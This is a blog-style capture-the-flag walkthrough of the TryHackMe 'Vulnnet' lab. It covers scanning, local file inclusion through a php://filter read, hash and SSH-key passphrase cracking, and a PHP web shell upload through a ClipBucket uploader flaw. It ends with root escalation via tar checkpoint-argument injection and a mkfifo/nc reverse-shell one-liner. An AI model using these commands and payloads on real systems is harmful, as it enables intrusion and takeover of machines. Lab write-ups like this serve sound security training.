TryHackMe: Vulnnet

TryHackMe: Vulnnet

TryHackNe: Vulnet by TheCyb3rW0lf

The purpose of this challenge is to make use of more realistic techniques and include them into a single machine to practice your skills.

Difficulty: Medium
Web Language: PHP

This machine was initially posted on other platforms under the name Shuriken. Now I made it available on TryHackMe with a different name (for a reason) and a bit modified privilege escalation (also for a reason).

=> You will have to add a machine IP with domain vulnnet.thm to your /etc/hosts

Author: TheCyb3rW0lf
Discord: TheCyb3rW0lf#8594

Icon made by monkik from


As per the above lets add an entry to /etc/host and run rustscan

╰─⠠⠵ rustscan -a vulnnet --ulimit 10000 -- -sC -sV -oA vulnnet -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
:           :
: :
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.80 ( ) at 2021-03-21 22:51 GMT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.00s elapsed
Initiating Ping Scan at 22:51
Scanning [2 ports]
Completed Ping Scan at 22:51, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:51
Completed Parallel DNS resolution of 1 host. at 22:51, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 22:51
Scanning ( [1 port]
Discovered open port 80/tcp on
Completed Connect Scan at 22:51, 0.03s elapsed (1 total ports)
Initiating Service scan at 22:51
Scanning 1 service on (
Completed Service scan at 22:51, 6.07s elapsed (1 service on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 9.89s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.13s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.00s elapsed
Nmap scan report for (
Host is up, received syn-ack (0.028s latency).
Scanned at 2021-03-21 22:51:42 GMT for 17s

80/tcp open  http    syn-ack nginx
|_http-favicon: Unknown favicon MD5: FDDFDAF4AC839A1F67E81E6A5B921552
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:51
Completed NSE at 22:51, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.73 seconds


The only port open is 80/tcp so given we have the website address vulnnet.thm from above let's hit that in the browser.

No robots.txt and no comments in the web page that give any obvious information or attack vectors. Let's kick off gobuster to see if we can find anything useful in the background whilst we look around the site.

╰─⠠⠵ gobuster -m dir -u http://vulnnet.thm/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,bak,sql,php,zip,tar.gz,tar,gz,sqlite

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://vulnnet.thm/
[+] Threads      : 10
[+] Wordlist     : /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : sql,zip,tar,gz,txt,php,tar.gz,sqlite,bak
[+] Timeout      : 10s
2021/03/21 22:57:40 Starting gobuster
/index.php (Status: 200)
/img (Status: 301)
Progress: 436 / 220561 (0.20%)

What is the user flag? (user.txt)

Looking at the Sign-in page it send the detail into the url, let's throw this into sqlmap to see if we have anything. Copying the request headers into a file we can run with sqlmap to see if injectable.

GET /login.html?login=username&password=password HTTP/1.1
Host: vulnnet.thm
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://vulnnet.thm/login.html?login=USER&password=PASS
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
╰─⠠⠵ sqlmap -r signin.txt --level 3 --risk 3
 ___ ___[.]_____ ___ ___  {1.4.4#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:01:33 /2021-03-21/

[23:01:33] [INFO] parsing HTTP request from 'signin.txt'
[23:01:33] [INFO] testing connection to the target URL
[23:01:34] [INFO] testing if the target URL content is stable
[23:01:34] [INFO] target URL content is stable
[23:01:34] [INFO] testing if GET parameter 'login' is dynamic
[23:01:34] [WARNING] GET parameter 'login' does not appear to be dynamic
[23:01:34] [WARNING] heuristic (basic) test shows that GET parameter 'login' might not be injectable

Nothing looks injectable, I next look at the subscribe box at the bottom but this just navigates to /? and does not pass any of the fields that I can see.

Not seeing anything interesting I run a gobuster looking for vhost's under vulnnet.thm

╰─⠠⠵ gobuster vhost -u vulnnet.thm -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://vulnnet.thm
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2021/03/21 23:31:25 Starting gobuster in VHOST enumeration mode
Found: gc._msdcs.vulnnet.thm (Status: 400) [Size: 424]
Found: [REDACTED].vulnnet.thm (Status: 401) [Size: 468]

Let's add these to /etc/hosts and see what we get.


Looks like we need a username / password for this vhost...


As we do not have a username/password, none of the other vhost's have anything we can use and no directories found I look back the main site. At the bottom of the page we see 2 javascript files

	<script src="/js/index__7ed54732.js"></script>
	<script src="/js/index__d8338055.js"></script>

Looking at these files we see some interesting bits


.............concat(void 0===e?"http://[REDACTED].vulnnet.thm":e).concat("/","?_alias=").concat(n,"&_callbackAlias=").concat(l,"&_lang=").concat(c)}({host:e,chatAlias:t,callbackAlias:n,lang:s}))..............



Let's test ttp://vulnnet.thm/index.php?referer= with our usual /etc/passed. Looking at the webpage nothing has changed, but looking at the source code of the page we see the below.

Ok, so we have some lfi but can we read the access log? Nope, we can not see the access log. Using index.php?referer=php://filter/convert.base64-encode/resource=index.php & decoding the output we can see the php code below is what is allowing the lfi

$file = $_GET['referer'];
$filter = str_replace('../','',$file);

Looking at view-source:http://vulnnet.thm/index.php?referer=/etc/apache2/.htpasswd we see the below


Let's run this through john

╰─⠠⠵ john htpasswd --wordlist=~/Downloads/rockyou.txt
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:18 6% 0g/s 13754p/s 13754c/s 13754C/s 36roses..36knuck
0g 0:00:01:19 6% 0g/s 13758p/s 13758c/s 13758C/s 220960..220953
0g 0:00:01:20 6% 0g/s 13761p/s 13761c/s 13761C/s 1432534..1432532
1g 0:00:02:36 100% 0.006406g/s 13896p/s 13896c/s 13896C/s 99727626..9972761drmfsls
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Initial Foothold

Using the above credentials we get access top http://[REDACTED].vulnnet.thm and get the below.

I first try to sign-up but the error Please select your category .... Looking at .htaccess we see

#<IfModule mod_security.c>
#    secfilterengine off
#    secfilterscanPOST off

Options All -Indexes
FileETag MTime Size
Options +FollowSymlinks
RewriteEngine on

<FilesMatch "\.(db|inc|tmpl|h|ihtml|sql|ini|configuration|config|class|bin|spd|theme|module|cfg|cpl|tmp|log|err|inc.php|class.php)$">
order allow,deny
satisfy all

########## Begin - Rewrite rules to block out some common exploits
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
#RewriteRule ^(.*)$ index.php [L]
RewriteRule ^([^.]*)/?$ index.php [L]
########## End - Rewrite rules to block out some common exploits

RewriteEngine on
#URL Rewriting for Videos
RewriteRule ^videos/(.*)/(.*)/(.*)/(.*)/(.*) videos.php?cat=$1&sort=$3&time=$4&page=$5&seo_cat_name=$2 [L]
RewriteRule ^videos/([0-9]+) videos.php?page=$1 [L]
RewriteRule ^videos/?$ videos.php?%{QUERY_STRING} [L]
RewriteRule ^video/(.*)/(.*) watch_video.php?v=$1&%{QUERY_STRING} [L]
#Alternate watch video links
RewriteRule ^(.*)\_v([0-9]+) watch_video.php?v=$2&%{QUERY_STRING} [L]
RewriteRule ^video/([0-9]+)_(.*) watch_video.php?v=$1&%{QUERY_STRING} [L]

#Users, Channel & Management

RewriteRule ^channels/(.*)/(.*)/(.*)/(.*)/(.*) channels.php?cat=$1&sort=$3&time=$4&page=$5&seo_cat_name=$2 [L]
RewriteRule ^channels/([0-9]+) channels.php?page=$1 [L]
RewriteRule ^channels/?$ channels.php [L]
RewriteRule ^members/?$								channels.php [nc]
RewriteRule ^users/?$								channels.php [nc]
RewriteRule ^user/(.*)						view_channel.php?user=$1 [nc]
RewriteRule ^channel/(.*)					view_channel.php?user=$1 [nc]

RewriteRule ^my_account					myaccount.php [nc]

RewriteRule ^page/([0-9]+)/(.*)						view_page.php?pid=$1 [nc]
RewriteRule ^search/result/?$							search_result.php [nc]
RewriteRule ^upload/?$									upload.php [nc]
RewriteRule ^contact/?$								contact.php [nc]
RewriteRule ^categories/?$								categories.php [nc]

#Group Section

RewriteRule ^group/([a-zA-Z0-9].+)					view_group.php?url=$1&%{QUERY_STRING} [L]

RewriteRule ^view_topic/([a-zA-Z0-9].+)_tid_([0-9]+)					view_topic.php?tid=$2&%{QUERY_STRING} [L]
RewriteRule ^groups/(.*)/(.*)/(.*)/(.*)/(.*) groups.php?cat=$1&sort=$3&time=$4&page=$5&seo_cat_name=$2 [L]
RewriteRule ^groups/([0-9]+) groups.php?page=$1 [L]
RewriteRule ^groups/?$ groups.php [L]
RewriteRule ^create_group create_group.php [L]

#Collection Section
RewriteRule ^collections/(.*)/(.*)/(.*)/(.*)/(.*) 		collections.php?cat=$1&sort=$3&time=$4&page=$5&seo_cat_name=$2 [L]
RewriteRule ^collections/([0-9]+) collections.php?page=$1 [L]
RewriteRule ^collections/?$ 								collections.php [L]
RewriteRule ^photos/(.*)/(.*)/(.*)/(.*)/(.*) 			photos.php?cat=$1&sort=$3&time=$4&page=$5&seo_cat_name=$2 [L]
RewriteRule ^photos/([0-9]+) photos.php?page=$1 [L]
RewriteRule ^photos/?$ 									photos.php [L]
RewriteRule ^collection/(.*)/(.*)/(.*)					view_collection.php?cid=$1&type=$2&page=$3 [L]

#Photo Section
RewriteRule ^item/(.*)/(.*)/(.*)/(.*) 					view_item.php?item=$3&type=$1&collection=$2 [L]
RewriteRule ^photo_upload/(.*) 							photo_upload.php?collection=$1 [L]
RewriteRule ^photo_upload/?$								photo_upload.php [L]
RewriteRule ^sitemap.xml$ sitemap.php
RewriteRule ^signup/?$ signup.php

#Error Pages
ErrorDocument 404 /404.php
ErrorDocument 403 /403.php

##################CB Beats Plugin#########################
#Manage and Delete
RewriteRule ^manage_audios/?$ module.php?s=audios&p=manage [L]
RewriteRule ^manage_audios/delete/(.*) 			module.php?s=audios&p=manage&del_beat=$1 [L]

RewriteRule ^manage_audios/edit/audio/(.*) 			module.php?s=audios&p=edit&audio=$1 [L]

RewriteRule ^audios/?$ 			module.php?s=audios&p=list [L]
######################Ending Audio Section#################

########## End - Rewrite rules For SEO urls ######################
RewriteRule ^rss$                           rss.php [nc]
RewriteRule ^rss/([a-zA-Z0-9].+)$           rss.php?mode=$1&%{QUERY_STRING} [nc]

########## End - Rewrite rules For SEO urls ######################

RewriteRule	^([a-zA-Z0-9-]+)/?$ 	view_channel.php?uid=$1&seo_diret=yes [NS]

RewriteRule	^list/([0-9]+)/(.*)?$ 	view_playlist.php?list_id=$1 [NS]±Êâ¦Û+t.ã³ø§uì{yÞxï}£³û.®*m

After trying a few things I look in exploitp-db for ClipBucket and find this list

Using curl I send upload web.php to the server.

╰─⠠⠵ curl -F "file=@/home/tony/pentest/shells/web.php" -F "plupload=1" -F "name=web.php" "http://[REDACTED].vulnnet.thm/actions/beats_uploader.php" -H 'Authorization: Basic ZGV2ZWxvcGVyczo5OTcyNzYxZHJtZnNscw=='

creating file{"success":"yes","file_name":"161637356579d288","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"} % 

Took me a while to find but the CB_BEATS_UPLOAD_DIR is /actions/CB_BEATS_UPLOAD_DIR/, browsing here we get to our webshell.

Using this we get our usual reverse shell....

╰─⠠⠵ nc -lvnp 4444
Listening on 4444
Connection received on 56684
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@vulnnet:/var/www/html/actions/CB_BEATS_UPLOAD_DIR$ export TERM=xterm
export TERM=xterm
www-data@vulnnet:/var/www/html/actions/CB_BEATS_UPLOAD_DIR$ ^Z
[1]  + 25525 suspended  nc -lvnp 4444

╰─⠠⠵ stty raw -echo; fg

[1]  + 25525 continued  nc -lvnp 4444


PrivEsc to user

Looking around the server we don't have access to much but looking /var/backups we see some interesting bits.

-rw-rw-r--  1 server-management server-management    1484 Jan 24 14:08 ssh-backup.tar.gz
-rw-r--r--  1 root              root                49338 Mar 22 01:50 vulnnet-Monday.tgz
-rw-r--r--  1 root              root                49338 Mar 21 23:58 vulnnet-Sunday.tgz

Looking at ssh-backup.tar.gz we have id_rsa which is probably a private key.

www-data@vulnnet:/var/backups$ tar -xvzf ssh-backup.tar.gz    

Changing into /tmp we can extract the key.

www-data@vulnnet:/var/backups$ cd /tmp/
www-data@vulnnet:/tmp$ tar -xvzf /var/backups/ssh-backup.tar.gz 

www-data@vulnnet:/tmp$ cat id_rsa 
Proc-Type: 4,ENCRYPTED


We can see the key is protected by a passphrase so we are going to need to use ssh2john to extract this and crack it.

╰─⠠⠵ python3 /opt/john-1.9.0-jumbo-1/run/ id_rsa > id_rsa_hash

╰─⠠⠵ /opt/john-1.9.0-jumbo-1/run/john id_rsa_hash --wordlist=/home/tony/Downloads/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]     (id_rsa)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:03 DONE (2021-03-22 00:56) 0.2777g/s 3983Kp/s 3983Kc/s 3983KC/s *7¡Vamos!
Session completed

Using this passphrase we can ssh into the server

╰─⠠⠵ ssh -i id_rsa server-management@vulnnet.thm   
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-134-generic x86_64)

 * Documentation:
 * Management:
 * Support:

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

560 packages can be updated.
359 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings


From here we can read user.txt and get our first flag.

server-management@vulnnet:~$ cat user.txt 

What is the root flag? (root.txt)

Trying sudo -l we get prompted for the password but do not have it. Let's copy over linPEAS to the server and see if we find anything interesting.

*/2   * * * *	root	/var/opt/

server-management@vulnnet:~$ ls -l /var/opt/
-rwxr--r-- 1 root root 530 Jan 23 21:30 /var/opt/
server-management@vulnnet:~$ cat /var/opt/

# Where to backup to.

# What to backup. 
cd /home/server-management/Documents

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo "Backup finished"

# Long listing of files in $dest to check file sizes.
ls -lh $dest

Ok, so we should be able to use tar to get a shell back as root using checkpoint options. Let's create a file with the below contents and make it executable

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4445 >/tmp/f

Now let's create the files which will trigger the checkpoint actions of tar.

echo > '--checkpoint=1'
echo > '--checkpoint-action=exec=sh'

Waiting for the next time the cronjob run's

╰─⠠⠵ nc -lvnp 4445
Listening on 4445
Connection received on 60742
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

From here we can read /root/root.txt

# cat /root/root.txt


Done, an interesting box that took a while to get initial access.

Show Comments